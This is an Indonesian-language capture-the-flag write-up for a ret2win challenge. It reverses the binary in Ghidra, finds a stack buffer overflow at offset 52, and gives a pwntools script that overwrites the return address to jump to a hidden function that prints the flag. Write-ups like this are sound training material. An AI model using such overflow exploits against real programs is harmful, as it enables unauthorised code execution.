Ret2win , all checksec false

Desc
disuatu pedesaan ada mc yang bernama tobi dan kemudian tiba2 dia kehilangan flagnya karna dimakan anjing. plis balikin dong flagnya.

Langkah Penyelesain

  • Diberikan Binary 

lgsg kita analyze pake ghidra. terdapat banyak function, tapi kita lgsg cek aja function main nya , ternyata tidak ada apa2 selain mengarahkan ke callingmenu(), kita cek function callingmenu(). isinya : 

Kita tau bahwa ini memiliki kerentanan terdapat buffer overflow. namun kita diarahkan ke function overflowme() terlebih dahulu sebelum menerima β€œ__isoc99_scanf(&DAT_0804a19a,local_34);” nya

kita cek function overflowme()

Untuk melewati functon ini gampang. kita liat func ini akan mereturn intejer yang artinya cari aja yang return 1, yaitu opsi 5.

lanjut ke buf overflownya. yang tadi karna function overflowme ini udah kita lewati.

cek ke semua function sehabis buffer overflow ternyata tidak ada apa2 selain ngeprint doang jadi cek ke function yg ga dipanggil juga.

β€œchall ini adalah ret2win karena di deskripsi udah ditulis return/balikin” jadi kita cek aja semua function2 yang ada meski ga dipanggil. terdapat beberapa function seperti mahkahmahkeluarga, mahkamahtricky dan juga function _mahkamahkeluarga dan lain2 yang keliatan suspicious. kalau udh di cek semua tau ternyata pemanggilan flag functon ada di function _mahkamahtricky dengan membuka .txt file.

Tinggal kita return ke situ buffer overflownya untuk mendapatkan isi dari txt tersebut. meski ga dipanggil. 

pertama kita cari dulu EIP Offsetnya pake pwndbg

Found at offset 52.

Langsung buat solvernya di pwntools

import pwn


pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux','split-window','-h'])

p = pwn.remote("domainnya","porttnya")
eip = 52 

payload = pwn.flat(
	b'A' * 52,
	elf.functions._mahkamahtricky
)

  

pwn.write('payload',payload)

p.sendlineafter('4. Checksec dulu bos', '5')

p.sendlineafter('?',payload)

p.interactive()

Flag : LA24{r3p_1ts_n0t_pr0_pl4y3r_y3t}